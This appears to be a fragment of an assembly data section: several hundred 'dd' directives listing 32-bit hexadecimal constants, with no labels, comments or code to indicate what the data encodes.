		dd 0DC0F4BC9h, 6B05C067h, 3D49CE1Fh, 0C0BD3D82h, 65413231h
		dd 10C8BEC1h, 72BE25ECh, 46E4C06Fh, 3C26E099h, 0E52B6FDCh
		dd 0D92870BDh, 0B5182991h, 91D80566h, 51CDF577h, 0A53DF035h
		dd 50CCFE7Dh, 32A665E0h, 0CCD30093h, 0D55941DFh, 0B52921F9h
		dd 9A3C2FB5h, 630CE38Eh, 63E6F659h, 50D8A37Ah, 2B29355h
		dd 908E653Fh, 0D19F522Eh, 0B95225F3h, 0F06F05CDh, 712DF2F8h
		dd 5924C5A1h, 3131A583h, 1EFF9079h, 0D3B04144h,	0C4AB454Fh
		dd 0BF961032h, 838D0512h, 625B80CAh, 5546C1C0h,	3F21A5EDh
		dd 183285ADh, 0F4E16581h, 0D5E8630Dh, 84D13446h, 91AB1229h
		dd 62AB803Fh, 5576C110h, 3C73AFDBh, 5A85C1h, 0FE0332F0h
		dd 0D81950BCh, 95843498h, 0A4EA0969h, 71DDF243h, 5994A021h
		dd 39B8A533h, 1F528514h, 0E45379C0h, 0D96E4DC8h, 965425AAh
		dd 0BC0B0593h, 71FAE292h, 77A2D967h, 39FAB44Ah,	4978525h
		dd 0F2997217h, 0C36F5408h, 0B56340D6h, 9C5726C5h, 6A31D3AEh
		dd 5535A080h, 3CE5868Bh, 1DCFB47Ch, 0F5870056h,	0D4B56D39h
		dd 98912C12h, 9C6A0EE0h, 5728C1FEh, 5516D4D0h, 391AB0A2h
		dd 11388585h, 90D1656Eh, 0E4DE455Ah, 80B42D52h,	0B1B61430h
		dd 649DC76Bh, 4360C5D3h, 5042AFF6h, 263285FEh, 0F91372B6h
		dd 0C83F4E82h, 0B5D34046h, 9CC13655h, 59ADED4Eh, 428DC63Bh
		dd 3988A102h, 70578EE6h, 0F4516FEFh, 0C22849F1h, 911D32B6h
		dd 801F2DF1h, 67FDE95Dh, 59F4C66Ah, 1FCCA553h, 36888529h
		dd 0DD656C1Ah, 0D96A50ECh, 0D07527C9h, 9E2B108Eh, 7307F28Bh
		dd 30F1D390h, 33F3B25Fh, 43C5934Ch, 0E2B94671h,	0E0EA542Eh
		dd 0B5672F05h, 0C22D13E2h, 6440E5E5h, 4437F3C5h, 3500A999h
		dd 2F294B8h, 0E4D5627Ah, 0B0FB5348h, 96A02514h,	0A48B0C08h
		dd 106DED12h, 5547CCC6h, 296FC0DFh, 1D3394BAh, 0F51D69B7h
		dd 0D9CC4FA9h, 0B9F0257Bh, 0A5BE055Ch, 60B9ED25h, 4797C933h
		dd 394AA630h, 262685F5h, 0E53472DAh, 0DC1B4CACh, 0D0172F8Bh
		dd 84E71256h, 7CC1C67Eh, 448CA050h, 25B6A40Eh, 2A6941Ah
		dd 0FC7976EAh, 0C34F47F8h, 0B52F2FE3h, 841060BFh, 711DF2A8h
		dd 59D4C571h, 1EACA573h, 15B4A34Dh, 0C0857432h,	0D5994F1Fh
		dd 9E1433F4h, 955C23D5h, 402DF4DAh, 5501CFA7h, 2839B39Ch
		dd 33E2AE09h, 0E4D16551h, 0D3AF7358h, 0BE8B2923h, 0B38A2E71h
		dd 6479E5F9h, 5541F5C0h, 3F3E90CDh, 31585BAh, 0DDF44EF3h
		dd 0D9CC506Ch, 0B6FB3742h, 84AD0512h, 1086EF32h, 404DD43Bh
		dd 395AAEEAh, 3E3685C5h, 0F5204FB7h, 0DF1870B3h, 0A3F72594h
		dd 95F50F45h, 64F68045h, 5EB7D00Ah, 248FA50Ch, 70688F10h
		dd 0E27074DDh, 0D35F54C2h, 0A23D16B3h, 9C0F1595h, 7FE5E5B6h
		dd 7EA2D967h, 35C9915Bh, 1E9F993Bh, 0FD826F05h,	0DF63541Ch
		dd 0BB4B14F9h, 0BE3E0ED4h, 792AD7BFh, 5924C591h, 31F9B48Dh
		dd 1DC3AD75h, 90B9725Ch, 0E5B6541Fh, 0BF972909h, 845D05E5h
		dd 7746E9E9h, 5E03CFE1h, 240FA9BCh, 1718899Bh, 0D1C35703h
		dd 0C2CB544Eh, 0D0B43543h, 83B10C32h, 7397F30Eh, 3066C5EEh
		dd 3E42AFFCh, 703283DCh, 0F81465B4h, 0D20E5382h, 0BDF52E7Eh
		dd 95DC6044h, 63C8F658h, 3086CE30h, 3B9FAF1Ch, 391694ECh
		dd 0E25574CDh, 0F33E45D3h, 0B5172FBBh, 941001B9h, 5998E567h
		dd 42D7D44Bh, 17B8A551h, 1FA5943Ch, 0F3656E1Dh,	0E37E45F9h
		dd 0B54021D3h, 842029C1h, 7506F2BEh, 55F2EF81h,	199C8161h
		dd 2D39447h, 0DFA4652Dh, 0E584452Dh, 0D0452C05h, 956A0ED8h
		dd 645DEED9h, 5433C597h, 3500A999h, 26C2A1F9h, 0A3E95052h
		dd 0FCFE0E1Fh, 0B586400Bh, 9F822306h, 7543E508h, 5570A0ECh
		dd 354C8FC8h, 933ABA7h
		dd 903178A6h, 0E1ED45AFh, 0A9D62562h, 85D20167h, 51A0C52Eh
		dd 5797F265h, 678A52Ch,	15538CF8h, 900178F6h, 0DAAC139Bh
		dd 5B2216E5h, 0A28F0AD5h, 46B0F2E4h, 729235CAh,	9457C05Fh
		dd 20A0B63Fh, 8860FFD5h, 8E94B562h, 14C740A7h, 0F89C3EC1h
		dd 0EB310DEBh, 58C3682Eh, 0B8ACC01Fh, 73E2ACB4h, 958A0039h
		dd 0DAA9703Ch, 80D8CB82h, 0A47EB42Ah, 4219C0D1h, 0D6F75F86h
		dd 0D37CD0D1h, 0E569ECCDh, 90A03ECDh, 73C2E4BEh, 0ED10D5DAh
		dd 39CD6061h, 784A80E1h, 3000A095h, 11D0434h, 2136A0B3h
		dd 50031899h, 0BEF07405h, 3221BF77h, 73CE707Fh,	0C2DBA09Fh
		dd 0A90D60F0h, 8C6374Dh, 27F5228Ah, 51B8FFF0h, 0BF95DF22h
		dd 0D084E573h, 1CF63011h, 9BB88059h, 0BBD2CA91h, 38ACAA93h
		dd 7016E079h, 0FA7202F9h, 0C2D648ADh, 0D03E40C7h, 0F3E33B0h
		dd 0B6566Eh, 0CFFBFF15h, 4082E6BAh, 4296549h, 187D8B12h
		dd 530A3068h, 0D0B1CD9Bh, 0F33E70A1h, 0EF0BD71Ah, 0F2F72B37h
		dd 0DD8CD0C1h, 708E3A96h, 6FEBE833h, 3551DFB2h,	0D0E47EBDh
		dd 0D929EF0Ch, 0AC0809Bh, 0BBBD5F4Ah, 4062064Ah, 5EF96DE9h
		dd 7890002Ah, 4F55DF14h, 0EE0EC5BCh, 305B6041h,	9F75A01Fh
		dd 301289BEh, 0AFD23477h, 0A2C36B46h, 156010EDh, 3D71542Dh
		dd 0D0BD0888h, 0E718821h, 0D7437FC4h, 0D8B7630Ah, 50FCC06Fh
		dd 6CFB61D4h, 0A33010B8h, 17CFAD74h, 816450C9h,	0A02F31A5h
		dd 8567D15Ah, 30A29E77h, 0AFE8C4B8h, 60D8C6CCh,	94C25D73h
		dd 0B0F2758Dh, 8D3440A7h, 0EB058D40h, 0EF0280CBh, 2B943578h
		dd 2CCC01Fh, 7092C0E4h,	54530069h, 352D4651h, 0D0145B2Bh
		dd 75D9405Ch, 10289BF5h, 3078A0E1h, 4A060382h, 708F08A1h
		dd 0D22D0013h, 79448A4Ch, 0B917B032h, 0E0D120F4h, 188C857Bh
		dd 0A5ABE29Dh, 502CFFEFh, 2595023Eh, 9070000Bh,	5D0B7DFDh
		dd 0D0B45BB2h, 0CFFAFDBAh, 6C5B805Bh, 3FF2A841h, 500C79FBh
		dd 78CA6199h, 0C44000B1h, 0B05B24A5h, 0AAE1BFE7h, 7B8E703Fh
		dd 342C0DE7h, 30C2A131h, 0B8DCAA1Fh, 70F6E06Dh,	904252D5h
		dd 0C6BFDFCAh, 0E3445089h, 0F4C9ED18h, 417880EAh, 6190CA54h
		dd 50C4C175h, 2286E039h, 0AEA295ACh, 356C207Dh,	804F3471h
		dd 0F12A08F5h, 0EF1F80BBh, 32428461h, 0C583C0EFh, 7086DF2Bh
		dd 0E470857Ah, 0E0DEC32Bh, 0D08E94DCh, 0A6A93123h, 2EA21574h
		dd 0B56BA0B5h, 69CB57Fh, 4E407526h, 0C70D00E3h,	0DACD7249h
		dd 47391863h, 0F0CE6145h, 7A28B3F0h, 9BF1F965h,	4C90DFh
		dd 2266B0F9h, 0AE1A953Ch, 74EB20CDh, 0D08442FFh, 0F8BA14EEh
		dd 2FAA15D4h, 0CF81A055h, 40D3D2CAh, 74C4BD79h,	9A1E8093h
		dd 3B7C21D8h, 0C041C44Ah, 7D7783E1h, 98806Eh, 6673A315h
		dd 903812D0h, 71C96846h, 14FF0063h, 0B00A216Dh,	0A51E7E17h
		dd 0CEBE26A1h, 11DC8FCBh, 0B072A0E4h, 0A1F9E0C1h, 2098615Fh
		dd 0E5874E7Ah, 7615AB0Fh, 0FBBB4121h, 0F064314Fh, 0EF7BD6CAh
		dd 207DAA20h, 916799CFh, 70A965E6h, 151D0003h, 0B0BA3E86h
		dd 0DCAC405Dh, 0A0DE6051h, 1A6D7F38h, 0D12B0BAh, 502CC093h
		dd 70F965B6h, 218900D3h, 317A20EDh, 99C61039h, 552B6F77h
		dd 93C8803Bh, 0C4EA893h, 0C978CF62h, 4C16E089h,	3CC37583h
		dd 35451A81h, 0D064405Bh, 0D05E6D5Ch, 31A5A02Bh, 45C6C542h
		dd 70F06C40h, 0E679C2Ch, 0E468208Ch, 316B55F9h,	0EA4443D9h
		dd 983B4FEEh, 1097C71Dh, 203891FAh, 0A79CC028h,	0E549B2CBh
		dd 90C03EE9h, 0E0BAE06Eh, 0D9EC1027h, 0B41E6091h, 7C56F7C4h
		dd 3036C1AAh, 6F765520h, 0B003E0E9h, 59933667h,	8FFEA5A4h
		dd 0B8854057h, 70EE6261h, 405ED12Ah, 0F3C356Ah,	0C5B1C0BFh
		dd 7046FB56h, 0C4B933B3h, 0E1D870ACh, 8231BF46h, 77BE700Fh
		dd 8527A44Fh, 30E29E43h, 0DD8C0387h, 7036F5EEh,	0FA83F9B2h
		dd 4F5B4ACCh, 0D407BFD4h, 300B75FEh, 0CB9BDA6Fh, 3B7170BEh
		dd 0DDE0904Ch, 60EB23DCh, 9CAA8B83h, 3B2A209Ch,	0D045483Dh
		dd 0DBA663D1h, 0DBF3E020h, 44F306F6h, 0A54E871Ah, 0B745CED2h
		dd 5C6B535Ch, 0E02EAB3Ah, 81542AD3h, 0FD10AF3h,	76662Eh
		dd 6AEF2BD5h, 0D37CD0D1h, 0BFBDECCDh, 57B7E9A0h, 58CA4A3Ah
		dd 0D3ABC957h, 0B6B133B2h, 4259D7DFh, 597FFCE0h, 2323B2DCh
		dd 2C1286B6h, 0F4EE69A4h, 0ECE95762h, 0A2C63564h, 0A6BA0E24h
		dd 799BF23Eh, 755ECE1Ah, 3F70B0F7h, 704485DBh, 0F7226197h
		dd 0DF2254B8h, 0D2843484h, 0A5CE6011h, 60680F59h, 59AACF37h
		dd 2285EE32h, 1C67871Ah, 0BE5978F2h, 0FE3A4CDDh, 0F01F038Eh
		dd 980D1882h, 76E0F882h, 75F1F51Fh, 1ACFE07Dh, 5098A906h
		dd 0E2997645h, 0E5005509h, 0D024407Fh, 1DBF3DB1h, 10489E66h
		dd 25052523h, 0AF8CC0EFh, 60989E8Ch, 8F28C133h,	0AEB01C39h
		dd 0EEC2F5ECh, 5C576091h, 3A5DAEA7h, 0CF7C21D3h, 0DD7FB5D2h
		dd 6049DA54h, 92E68B03h, 15CC854Ah, 0E874C5BAh,	75516041h
		dd 10E8B8BDh, 0CA54297Fh, 0ABD28E13h, 0BFA4E108h, 0B1885038h
		dd 3385DF16h, 0D49C647Bh, 0F8462454h, 43C8803Bh, 74CCE313h
		dd 0AFFC8C23h, 60286A1Ch, 0E4F00BA3h, 0B220B3B0h, 0E2F1BF84h
		dd 0F7E70CFh, 877013DBh, 0D84D5FDBh, 50CCC034h,	2FA5A60Ah
		dd 0D42E533Ch, 4F1A6CC1h, 0C00ACA32h, 0E3288C1h, 10807F24h
		dd 0CF7D5F03h, 408E1C82h, 0FD7FD329h, 8092E8C6h, 0E1BB715Dh
		dd 81551026h, 768B9FC0h, 0F8389095h, 3052A0CEh,	229938Ah
		dd 34A8D2CAh, 6FA04C5Fh, 0A084AAB8h, 0D0DEA847h, 83996061h
		dd 7E61F20Bh, 3063C6E1h, 62A93FFFh, 0F956F0F7h,	804E3A66h
		dd 3DBB2FFDh, 0C0BD3D9Ah, 0B03BE931h, 41D89074h, 0E78359Ah
		dd 389FC06Fh, 7026E09Dh, 89CAB53Eh, 3D0320DDh, 0C04B665Ah
		dd 54C8801h, 0D7CE7FE4h, 20DCCDB0h, 0D38CC04Fh,	60E88FCCh
		dd 59D0083h, 0B03A3EB0h, 0D12E14E7h, 980C60BBh,	907880E9h
		dd 0FB835FAh, 9029C00Fh, 0FDE49563h, 80FE60DEh,	0B690726Dh
		dd 0CE79F50Ah, 0A67A60B1h, 4219D0EBh, 0F4C352Ah, 0AF24C0FFh
		dd 60A9C69Ch, 0D735C623h, 0B0CA307Ch, 0D0E44CBFh, 0BFAD3771h
		dd 222BCBC8h, 7C7EE48Bh, 0DAD93FBFh, 0E366F0E7h, 9080079Bh
		dd 512FAD0Dh, 89B4503Fh, 0CE38DDCCh, 2D00804Bh,	0D8FD5F80h
		dd 501CC083h, 3978A9FEh, 0BE04458Dh, 0B0266C99h, 0EE0ED508h
		dd 301B6001h, 128D0424h, 5841A045h, 50ECC05Ah, 691955F4h
		dd 1D790083h, 0A0053210h, 2552A8C7h, 4DED9F1Eh,	1098BFEDh
		dd 2026AF15h, 0D1BCC02Dh, 70D770A5h, 91985463h,	4F0A207Ch
		dd 0C01AB602h, 60FAE1B1h, 405880CAh, 3018746Eh,	46193FADh
		dd 0F5A6F026h, 9DB559F3h, 0B0C9A825h, 7A61BF67h, 1B0E70BFh
		dd 7F950379h, 3042B0ABh, 0D5D1E9BAh, 7066FE9Ah,	9205FF53h
		dd 35AA3022h, 59404FF7h, 7BDE6050h, 10738C2Bh, 0B59D907Ah
		dd 503CDEF0h, 3101657Fh, 0FA6100C3h, 0DA7B4AEDh, 0DE01BF05h
		dd 73AE701Eh, 94C77FC3h, 30E2A135h, 3B694DFCh, 1A16F097h
		dd 6F6352B3h, 0A074DE28h, 0DFA4C5D7h, 0F07F2074h, 9C250D0Bh
		dd 81B2B03Bh, 0AAF02837h, 0E48E1FA6h, 0CE000073h, 8493C6A6h
		dd 45CB1483h, 0F05E5E43h, 0EF23D56h, 3133A0E5h,	0AF66DDE7h
		dd 0F7236DD6h, 0FAD0105Dh, 0B0FE485Dh, 83564077h, 0CF14F56Eh
		dd 54B580BBh, 0A5DFB4E1h, 507C8237h, 7A30EFA9h,	84844498h
		dd 0B2B2C0ECh, 9AC6410Dh, 0F3A47263h, 182CC470h, 0F12D4115h
		dd 5B6DC84Fh, 8F46C48Dh
		dd 2DFD50D1h, 0B09A1FB5h, 0D0A45CFFh, 0C6904531h, 30F6A033h
		dd 15C8804Bh, 6822E55Ah, 505EC5E1h, 0DA4A7396h,	90146982h
		dd 458B17E7h, 0F09E5E3Bh, 1004449Ah, 30A8A035h,	0AF8F971Fh
		dd 60C9EAFCh, 9D8B83h, 0DA2A3088h, 0BB5FA3B7h, 180F6D18h
		dd 107880EEh, 3AF68523h, 0C553971Fh, 70D6DE03h,	0C0ECC4D0h
		dd 0B7922B86h, 5D144087h, 0E030C01Ch, 0EF1BD7BBh, 205DAA40h
		dd 2EBC45EFh, 38236D5Dh, 13B0101Ch, 0A0DFB098h,	5D694057h
		dd 0F0EE2136h, 10724EA0h, 0CF61F6F4h, 4073C62Ah, 709E63D9h
		dd 1B112F8Dh, 0F82FADF3h, 60B45018h, 8560924Ch,	3A00E04Bh
		dd 51FD5F8Fh, 59FFD7FDh, 9B379724h, 0BB9F8B29h,	0F8D7AD13h
		dd 238450C8h, 1B69E7B5h, 8547D392h, 30C29EBFh, 459B7DDFh
		dd 407E069h, 0E51068B9h, 25C520ADh, 0D0447E6Dh,	0B129DD61h
		dd 648880EBh, 5F276704h, 50BCD031h, 0B6D6E049h,	80B147E6h
		dd 0B8E3207Dh, 17DBBF69h, 0E02BE034h, 105880CBh, 34B0FD65h
		dd 1F86CDFFh, 1FC98E39h, 0F6AF205Dh, 0D6B34C6Dh, 9FD46102h
		dd 9D6714A1h, 7F5CA0FEh, 5C27C395h, 312EA2AAh, 7D57859Dh
		dd 0B0B02009h, 90E5003Dh, 0BDA93544h, 97FE1234h, 759CF20Ah
		dd 3A1F81EBh, 3540A5CDh, 152A94D7h, 0E90C73A0h,	0C01B48CDh
		dd 0B1B43977h, 958E044Fh, 73ADF043h, 448CC121h,	248FE043h
		dd 19728EE8h, 0B00A67CDh, 0E7402D90h, 0B80734B6h, 0D0190E98h
		dd 30F4EC6Ah, 10CBC141h, 70A8AE5Eh, 18818937h, 0F6202C07h
		dd 0D63A52E2h, 0BE5129D5h, 0B96E13A5h, 7909F7FBh, 3A8F9A81h
		dd 22F9A858h, 2D7C04Ch,	0FFA92026h, 0D6CA0C28h,	0BE612905h
		dd 0D02113F5h, 7555EFE8h, 441B80E4h, 701FA9FFh,	15EB898Dh
		dd 0E4E92032h, 0DC9A530Ah, 0F1B13426h, 0CA453936h, 785D85CEh
		dd 0B370127Dh, 409AD486h, 60F0F4DAh, 0E27B3BC6h, 804DA4F9h
		dd 0D5AF3AA3h, 0D70F9AD4h, 0D8474C4Bh, 83F271E6h, 2F9911B5h
		dd 7D2517CCh, 854EDA3Ch, 7236EC91h, 8CCF3B5h, 0F08E6001h
		dd 10A8801Bh, 30C2A035h, 50DCC04Fh, 70F6E069h, 90100083h
		dd 0B02A209Dh, 0D04440B7h, 0F05E60D1h, 107880EBh, 3092A005h
		dd 50ACC01Fh, 70C6E039h, 90E00053h, 0B0FA206Dh,	0D0144087h
		dd 488BE3C1h, 104890F9h, 72DE0556h, 5F7CC0FFh, 0FD82A3BEh
		dd 27BF1870h, 60C92676h, 0F4C004DCh, 82F2225Ah,	185ABB92h
		dd 72B9B4D6h, 5C0EEBABh, 32DE7550h, 150900E3h, 0B08A62B1h
		dd 123745CCh, 91178269h, 98E88499h, 2026FFF0h, 5078288Fh
		dd 6F5EE0A9h, 1D5000C3h, 0A049AC58h, 0C8BD19F7h, 301D6C65h
		dd 0EF4F622Fh, 209034C0h, 891B035Fh, 54596D7Ah,	80C30083h
		dd 3FC65052h, 0D4BCC3C7h, 6DE79603h, 1098A377h,	44A29A96h
		dd 538EEB2Ah, 3E5BF03Bh, 0CEAB589Fh, 0C40A1AFEh, 3B16BF93h
		dd 0E04C9FB2h, 0EFA7D723h, 1BBC8B1Ah, 40CE7C72h, 3BA5B819h
		dd 154FC307h, 0B0CA62D5h, 9260C5A0h, 0F00E6091h, 2CC0809Bh
		dd 0BB42A0B5h, 401E544Ah, 86DF08E9h, 8878FFFCh,	33AA201Dh
		dd 0C086D48Ah, 0F8AB6051h, 34F01DE2h, 0ACF9A095h, 12B84D60h
		dd 0FF85E0A9h, 80229856h, 24EFA9EDh, 38945045h,	0F0AE6022h
		dd 9B0B4908h, 30E220C6h, 0BD14926Fh, 73E91F77h,	8072BC36h
		dd 339C23BDh, 0DF644CADh, 0F07F6775h, 0E2030Bh,	0CD36AF25h
		dd 0DBCCC03Fh, 98B6EC1Bh, 6FFFFEBBh, 0F2A6A58Eh, 163740B7h
		dd 7046EA91h, 91C8022h,	44AC5975h, 0A177800Ch, 0F1B7A8A2h
		dd 4F0FDFA2h, 0F413A182h, 0A5040C3Bh, 3835397Dh, 1FC27928h
		dd 3052174Ah, 28EDA6DFh, 7FB4D307h, 90A0AB96h, 8A39762Dh
		dd 5BD13547h, 0F205702Bh, 0E10B8AF0h, 0CE5048C4h, 0E53F3F50h
		dd 7046A275h, 0E8B0854Eh, 340E2F06h, 2FA44017h,	0E0FCDC84h
		dd 4530D04Bh, 330D5F9Bh, 404E7CFAh, 0CCA36F99h,	934010F1h
		dd 330904C9h, 0B474227h, 1386D60Eh, 30610009h, 14E66166h
		dd 74C0E94Bh, 2BD2EC40h, 11F9EBC3h, 0BFD2F66h, 517A346Ah
		dd 9E1BC82Ah, 914EF430h, 91A9F9FEh, 0D182B4E0h,	0C5E436C2h
		dd 11C674FFh, 0E813B396h, 510A3474h, 0A8C71D5Ah, 915EF448h
		dd 155DE62Eh, 0D172B40Eh, 55A9D0F2h, 6FB674C2h,	0A088B8A8h
		dd 0A10D1B57h, 0AE019F8Eh, 0F90C4208h, 0CFCD5E4Ah, 5426C17Ch
		dd 852F0881h, 508FF0Ch,	0B08A0634h, 0C885F841h,	140E8243h
		dd 760A8258h, 6804CADEh, 0AFE9EE67h, 78F46356h,	953AD144h
		dd 454BC885h, 2A04BF08h, 40951312h, 293D827Bh, 9AD2B063h
		dd 3886E7B4h, 8A864A21h, 20387590h, 453BC8BCh, 0D1ECBF38h
		dd 746E60E1h, 0C185F429h, 0DB685EF5h, 0E8B92BD9h, 0F0D6E049h
		dd 534FE2C8h, 899AB5F0h, 70F4087h, 7FDBA46h, 61044Eh, 3072A0E5h
		dd 9019CFF7h, 86AD00D8h, 80F982B6h, 0B6AF214Dh,	0F57D4D01h
		dd 75F8736Ah, 1038B919h, 5644D5B7h, 0BB79F1C2h,	717B86EDh
		dd 783B6626h, 4F55DFA1h, 59F003BCh, 0E09CCCC4h,	0E73B2B6Bh
		dd 202B2400h, 502CC09Fh, 0B0D3EFB1h, 78CABCD7h,	4F85DF71h
		dd 9224D58Eh, 75586031h, 10D8B9B9h, 3FE6D554h, 7BFE2B5Eh
		dd 87D54B49h, 80098426h, 0B04A20BDh, 5A4334DFh,	0E0471E74h
		dd 1B78410Bh, 7539AD43h, 0A87C6B59h, 0E636AF3h,	5100104Ah
		dd 0D71F3B6Dh, 7B32C9C3h, 5B28A0F2h, 74D09230h,	9B82A57Ah
		dd 69E24585h, 28B2E039h, 3BC8E082h, 246FE69Eh, 0D9045050h
		dd 0CAE457Ah, 0A85EA040h, 9B34A02Eh, 5406D934h,	848F08A1h
		dd 942DFFECh, 0B85AE1FFh, 105D4521h, 0F305CB07h, 7AA210CBh
		dd 0C0CAF88Eh, 0D0C33F5Ch, 6071744Ch, 6AF006E3h, 34A553F5h
		dd 2E6734C5h, 0E7D14FBh, 0EE1FF481h, 0CE2BD4AFh, 0AE00B4B5h
		dd 8E299453h, 204F7479h, 91CB34h, 0BC4EA60h, 53EA4EAh
		dd 0E81840F0h, 0C7011CDEh, 40E544CAh, 70D6E069h, 0E596B083h
		dd 3D2E249Fh, 75CEBEF8h, 0F04E59ADh, 0ECF82B8Dh, 8095D500h
		dd 0AFE3401Fh, 122E4A79h, 671FFFACh, 0A0C3A4E8h, 0D0544087h
		dd 969606A1h, 0A44AF58Ah, 80C9C6FCh, 2EF9CAF7h,	0B096F030h
		dd 781A03C3h, 4F35DF00h, 5513C8E7h, 0F0EE59F5h,	1018008Bh
		dd 0B682A2D0h, 69306535h, 0DB00E0C9h, 0E585FC73h, 309A900Ah
		dd 7AF4BF68h, 6073ED82h, 0F8E89062h, 0CFFD5F78h, 69984578h
		dd 7036E0B9h, 932410C3h, 47C0406Dh, 0C0BDC472h,	0F09E6011h
		dd 0A8BFF423h, 303E2B10h, 0D51B8FF4h, 7016D9FDh, 91200090h
		dd 0B0CAA4A2h, 38E440C7h, 4DE7CB4Bh, 1098C267h,	0CF5C6CFDh
		dd 0FA5470D0h, 0D06B69E2h, 78F01021h, 4FF5DEC0h, 0E9A0C560h
		dd 0F03D60A1h, 0A2C80CBh, 9F62512h, 508CC0EFh, 7AD2E119h
		dd 6F3E2EDBh, 4E41C8B2h, 3944BF98h, 7585CB2Bh, 1038C207h
		dd 0F8696F3Eh, 12F87D46h, 38FFE0F9h, 0F4F7B8FFh, 830116E2h
		dd 276F26F7h, 0E0E7E4D4h, 10F8836Bh, 0C601D485h, 4015421Ah
		dd 7A3260B9h, 6F9DAA3Bh, 4E21C812h, 0B72CBFF8h,	5B88E945h
		dd 0BBAE4008h, 96625A2h, 50FFC07Fh, 2A62E089h, 0A9B28555h
		dd 0C5CA20ADh, 2DE5A8DDh, 0C2969F0Eh, 0F8677FF5h, 0CF4D5D27h
		dd 4424E08Fh, 93191FA2h, 6FB8664Ah, 21B14698h, 54A1CB0Ch
		dd 74E70F8h, 13AA7709h,	4582A0F5h, 0AC40281Bh, 6F061FD6h
		dd 6F2AEEABh, 4F5246A2h, 41AF2662h, 7BD1EB3Ah, 7A242Eh
		dd 0B99A8BC5h, 0D59B3C97h, 7096D97Dh, 90A00010h, 354D1859h
		dd 0D0C479C3h, 0F6EE6061h, 95FFAC0Fh, 30329911h, 513CC0AFh
		dd 0B2BEEABCh
		dd 788FFF1Eh, 4F75DDB6h, 0E920C5E0h, 0F0BE6021h, 1AAC844Bh
		dd 0CF0F0C8Dh, 0AD6D2880h, 0F5D11F66h, 90503937h, 0B05A20C9h
		dd 469C5793h, 48719FFCh, 0D8564032h, 0F0CA189Eh, 0E877C43Bh
		dd 171D181Ch, 6D6FE828h, 35DDDF62h, 0D0547933h,	0F05E60D9h
		dd 0ADF8F29Eh, 30829987h, 0B8C5B41Fh, 8F391D5Ch, 0B9F829EBh
		dd 0CE5F2AA4h, 101450BEh, 55246345h, 1058B9C5h,	0CD29487Eh
		dd 0E1CC3F10h, 0F2136AA3h, 3AB0101Ah, 4F371CD5h, 55524FA8h
		dd 0F0EE590Fh, 14D88406h, 38D261E5h, 0FB2A4D0Fh, 27CCE169h
		dd 6F7D201Bh, 94A609F2h, 2B56F841h, 744B9718h, 0E89062h
		dd 4402A075h, 0FA557088h, 8A4358CFh, 3B36E1C1h,	4F96DC35h
		dd 7A6CF008h, 7935A022h, 0FA0896h, 0B4575745h, 70ECD066h
		dd 506E079h, 4EC85784h,	0EAC5DF51h, 88E48F4Ch, 7564AACAh
		dd 1098B987h, 9A5EEA9Ch, 0AF4008C7h, 0F16E86B6h, 1475F7A3h
		dd 0F00A3044h, 0A4244097h, 0D8FAE0B2h, 292425C1h, 9B14A0F5h
		dd 12007D76h, 870DE009h, 80F984B6h, 0B0DA204Dh,	60FD3527h
		dd 8C8B62D1h, 0BA2890A2h, 9C62542h, 50DCC0DFh, 7B03E0E9h
		dd 159AB8B3h, 0B0BA1960h, 0B6F9AB9Dh, 7C651E9h,	0C104EEh
		dd 3013A085h, 0E02EB49Fh, 0DE3EA90h, 506010EAh,	15702309h
		dd 0D084797Ah, 48C8CB47h, 953F70BAh, 30F299D1h,	50FCC26Fh
		dd 0B8A2E2FCh, 0A94DA5A9h, 1B2C20ADh, 92CCFD5Eh, 60C660E1h
		dd 0BB988022h, 93625D2h, 50C4C02Fh, 192E059h, 6FFC209Bh
		dd 349FD772h, 0D034509Eh, 854E60C5h, 1AD030D0h,	20BBDE70h
		dd 1D776A0Fh, 493265DEh, 98D00053h, 0A19F205Dh,	3087F811h
		dd 0C960C59Bh, 0BB5E80BBh, 0DBF860F6h, 79D4A6CAh, 0E23EAE1h
		dd 50A0102Ah, 15B023C9h, 0D0C47939h, 7519CB07h,	1018B9FFh
		dd 3022B095h, 90BD78C9h, 0B4D6E3BDh, 0EED50AEBh, 0D68A30C4h
		dd 55124FBCh, 0F0AE59B3h, 0EB7768E0h, 0B5055F9Ah, 501CF9FBh
		dd 3026E099h, 0C0F00EC7h, 8926A5CFh, 38DE40F7h,	0F719B94h
		dd 9956CF96h, 208030B8h, 0D459374Fh, 70F6F050h,	0E4900083h
		dd 1AC29091h, 64F9C91Ch, 1B5E7093h, 0EB9968EEh,	5A7A5FFAh
		dd 0A7533FE4h, 60FF64BCh, 91E00053h, 0F1556Dh, 0AC914AC7h
		dd 5A2E7098h, 0A82E8F50h, 95686056h, 506CF993h,	71264B6Fh
		dd 1435F789h, 0B0CA3004h, 0A5E44257h, 747B975Eh, 101890B2h
		dd 4532A4A5h, 5A8C70A5h, 605F9E5Ch, 13258AF3h, 719A3034h
		dd 68D250C7h, 4065E127h, 0A0E06B5Bh, 4E87AA35h,	0FA1CD0B6h
		dd 49B2655Eh, 905000D3h, 0A01F20D5h, 3807F891h,	0C9E3C51Bh
		dd 0BBDE803Bh, 3839A1F5h, 0D5E688EFh, 7016D904h, 6AFFE839h
		dd 35CDDF52h, 0D0447943h, 0F07E60E1h, 35FDF54Ah, 0C8211873h
		dd 69C16525h, 0DBB0E059h, 0B95AC050h, 0A048B0C0h, 54A1B797h
		dd 0F03E7088h, 6558A0CBh, 0DB0511FAh, 5934A6E4h, 0D03EA01h
		dd 50C0100Ah, 15D023A9h, 0D0E4791Ah, 4D27CBE7h,	1038C20Bh
		dd 95C8613Fh, 504C825Fh, 28C64B8Fh, 0A9EC8501h,	5800200Dh
		dd 2F3BBA4Eh, 0C95AE5A6h, 10FB807Bh, 1C66A185h,	69A84568h
		dd 7046E0A9h, 0B01504D3h, 89FEA51Ah, 0D0944017h, 0FADB6321h
		dd 0EF315ED3h, 0CAA948AAh, 50143F90h, 98E91F73h, 6FCFFAE2h
		dd 89CEA54Ah, 0D06440C7h, 0F80A68F1h, 0F83249BBh, 0CF4D5A08h
		dd 694845C8h, 70E6E049h, 0BA741073h, 3530273Dh,	0D02479DBh
		dd 0FD548000h, 104C8852h, 9FE05F7h, 0B45CC01Fh,	7472602Ah
		dd 692FE8E8h, 0D15ADFA2h, 29F3A8DDh, 48789F6Eh,	0B5326054h
		dd 304299B9h, 0B6846BB9h, 87791F00h, 80998496h,	0B0BA002Dh
		dd 5B903447h, 7863EBA6h, 3B089039h, 0CC632954h,	0D536981Fh
		dd 7046D9B5h, 69CFE849h, 357DDF02h, 0D0B47993h,	0F0FE6031h
